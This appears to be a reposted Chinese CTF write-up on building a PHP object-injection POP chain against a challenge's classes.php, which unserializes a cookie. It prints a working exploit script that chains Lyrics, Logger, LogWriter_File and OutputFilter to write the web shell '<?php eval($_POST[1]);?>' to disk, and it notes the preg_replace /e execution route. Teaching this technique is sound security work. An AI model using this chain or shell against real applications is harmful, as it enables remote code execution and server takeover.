php反序列化pop鏈一則


跟隨wupco師傅學習

classes.php

<?php

class OutputFilter {
  protected $matchPattern;
  protected $replacement;
  function __construct($pattern, $repl) {
    $this->matchPattern = $pattern;
    $this->replacement = $repl;
  }
  function filter($data) {
    return preg_replace($this->matchPattern, $this->replacement, $data);
  }
};

class LogFileFormat {
  protected $filters;
  protected $endl;
  function __construct($filters, $endl) {
    $this->filters = $filters;
    $this->endl = $endl;
  }
  function format($txt) {
    foreach ($this->filters as $filter) {
      $txt = $filter->filter($txt);
    }
    $txt = str_replace('\n', $this->endl, $txt);
    return $txt;
  }
};

class LogWriter_File {
  protected $filename;
  protected $format;
  function __construct($filename, $format) {
    $this->filename = str_replace("..", "__", str_replace("/", "_", $filename));
    $this->format = $format;
  }
  function writeLog($txt) {
    $txt = $this->format->format($txt);
    //TODO: Modify the address here, and delete this TODO.
    file_put_contents("C:\\WWW\\test\\ctf\\kon\\" . $this->filename, $txt, FILE_APPEND);
  }
};

class Logger {
  protected $logwriter;
  function __construct($writer) {
    $this->logwriter = $writer;
  }
  function log($txt) {
    $this->logwriter->writeLog($txt);
  }
};

class Song {
  protected $logger;
  protected $name;
  protected $group;
  protected $url;
  function __construct($name, $group, $url) {
    $this->name = $name;
    $this->group = $group;
    $this->url = $url;
    $fltr = new OutputFilter("/\[i\](.*)\[\/i\]/i", "<i>\\1</i>");
    $this->logger = new Logger(new LogWriter_File("song_views", new LogFileFormat(array($fltr), "\n")));
  }
  function __toString() {
    return "<a href='" . $this->url . "'><i>" . $this->name . "</i></a> by " . $this->group;
  }
  function log() {
    $this->logger->log("Song " . $this->name . " by [i]" . $this->group . "[/i] viewed.\n");
  }
  function get_name() {
      return $this->name;
  }
}

class Lyrics {
  protected $lyrics;
  protected $song;
  function __construct($lyrics, $song) {
    $this->song = $song;
    $this->lyrics = $lyrics;
  }
  function __toString() {
    return "<p>" . $this->song->__toString() . "</p><p>" . str_replace("\n", "<br />", $this->lyrics) . "</p>\n";
  }
  function __destruct() {
    $this->song->log();
  }
  function shortForm() {
    return "<p><a href='song.php?name=" . urlencode($this->song->get_name()) . "'>" . $this->song->get_name() . "</a></p>";
  }
  function name_is($name) {
    return $this->song->get_name() === $name;
  }
};

class User {
  static function addLyrics($lyrics) {
    $oldlyrics = array();
    if (isset($_COOKIE['lyrics'])) {
      $oldlyrics = unserialize(base64_decode($_COOKIE['lyrics']));
    }
    foreach ($lyrics as $lyric) $oldlyrics []= $lyric;
    setcookie('lyrics', base64_encode(serialize($oldlyrics)));
  }
  static function getLyrics() {
    if (isset($_COOKIE['lyrics'])) {
      return unserialize(base64_decode($_COOKIE['lyrics']));
    }
    else {
      setcookie('lyrics', base64_encode(serialize(array(1, 2))));
      return array(1, 2);
    }
  }
};

class Porter {
  static function exportData($lyrics) {
    return base64_encode(serialize($lyrics));
  }
  static function importData($lyrics) {
    return serialize(base64_decode($lyrics));
  }
};

class Conn {
  protected $conn;
  function __construct($dbuser, $dbpass, $db) {
    $this->conn = mysqli_connect("localhost", $dbuser, $dbpass, $db);
  }

  function getLyrics($lyrics) {
    $r = array();
    foreach ($lyrics as $lyric) {
      $s = intval($lyric);
      $result = $this->conn->query("SELECT data FROM lyrics WHERE id=$s");
      while (($row = $result->fetch_row()) != NULL) {
        $r []= unserialize(base64_decode($row[0]));
      }
    }
    return $r;
  }

  function addLyrics($lyrics) {
    $ids = array();
    foreach ($lyrics as $lyric) {
      $this->conn->query("INSERT INTO lyrics (data) VALUES (\"" . base64_encode(serialize($lyric)) . "\")");
      $res = $this->conn->query("SELECT MAX(id) FROM lyrics");
      $id= $res->fetch_row(); $ids[]= intval($id[0]);
    }
    echo var_dump($ids);
    return $ids; 
  }

  function __destruct() {
    $this->conn->close();
    $this->conn = NULL;
  }
};

觸發點是一個直接可以反序列化。
題目不難,pop鏈構造一下,最后是可以生成一個shell
可以看看如何構造pop鏈:http://www.cnblogs.com/iamstudy/articles/php_object_injection_pop_chain.html

這里想記錄的是構造pop鏈的一些過程,重新回顧一下。

unserialize — 從已存儲的表示中創建 PHP 的值
類里面經常會用到兩種函數:構造函數和析構函數

構造函數:具有構造函數的類會在每次創建新對象時先調用此方法,所以非常適合在使用對象之前做一些初始化工作。比如__construct
這里特別注意一下,創建新對象的時候才會調用,所以反序列化的時候是不會調用__construct

析構函數:在到某個對象的所有引用都被刪除或者當對象被顯式銷毀時執行。比如__destruct

上面兩種都是屬於魔術方法,更多的魔術方法可以看:http://php.net/manual/zh/language.oop5.magic.php

所以找反序列化洞的時候一般可以重點關注兩個魔術方法:__wakeup()(反序列化的初始化調用)、__destruct()

當然wakeup是可以繞過的,具體可以看看CVE-2016-7124

鋪墊完了~下面解析一下這個pop如何構造

漏洞觸發點1:可以寫log進一個文件:LogWriter_File::writeLog()
$this->filename可控,注意不是$filename
雖然__construct里面寫了,感覺是沒法跨目錄寫shell,$this->filename = str_replace("..", "__", str_replace("/", "_", $filename));
但是反序列化的時候是不調用的,所以我們可以直接把這個注釋掉,然后再在類里面添加一行$this->filename = '../1.php';

但是這里的文件內容為空,應該如何寫入內容?
可以看到最上面的,OutputFilter::filter(),可以正則匹配空的,然后替換為shell內容,new OutputFilter("//i", "<i><?php eval(\$_POST[1]);?></i>");

漏洞觸發點2:當然如何php如果版本不高於5.5的話,OutputFilter::filter(),可以用正則的/e模式來執行php代碼

exp:

$fltr = new OutputFilter("//i", "<i><?php eval(\$_POST[1]);?></i>");
$fileformat_obj = new LogFileFormat();
$format = new LogFileFormat(array($fltr), "\n");

$filename = '1.php';
$logwrite_obj = new LogWriter_File($filename, $format);

$writer = $logwrite_obj;

$logger_obj = new Logger($writer);

$lyrics = 1;
$song = $logger_obj;
$lyrics_obj = new Lyrics($lyrics, $song);

echo base64_encode(serialize($lyrics_obj));

這里還有要說的坑點就是private變量,它最后周圍是有不可見字符\x00,所以如果不是base64編碼的話,可以用%00來代替。


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM